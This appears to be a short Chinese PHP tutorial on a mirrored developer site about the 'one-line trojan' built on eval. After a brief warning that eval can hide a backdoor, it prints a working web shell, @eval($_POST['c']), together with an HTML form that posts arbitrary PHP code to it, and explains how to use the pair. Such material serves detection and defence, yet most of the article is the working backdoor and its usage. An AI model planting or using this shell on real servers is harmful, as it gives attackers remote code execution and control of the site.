suchen

Heim  >  Artikel  >  Backend-Entwicklung  >  php eval函数一句话木马代码_PHP

php eval函数一句话木马代码_PHP

WBOY
WBOYOriginal
2016-05-30 08:47:451114Durchsuche

eval可以用来执行任何其他php代码，所以对于代码里发现了eval函数一定要小心，可能是木马

就这一句话害死人，这样任何人都可以post任何文件上来，所以要做好防范

<&#63;php @eval($_POST['c']);&#63;>

使用方法也很简单，本地提交文件指向提交文件，里面的php代码就会被执行

<html> 
<body> 
<form action="a.php" method="post"> 
<input type="text" name="c" value="phpinfo();"> 
<input type="submit" value="submit"> 
</form> 
</body> 
</html>

以上所述就是本文的全部内容了，希望大家能够喜欢。

Stellungnahme：
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Vorheriger Artikel：typecho插件编写教程（六）：调用接口_PHPNächster Artikel：php实现的mongodb操作类_PHP

In Verbindung stehende Artikel

Mehr sehen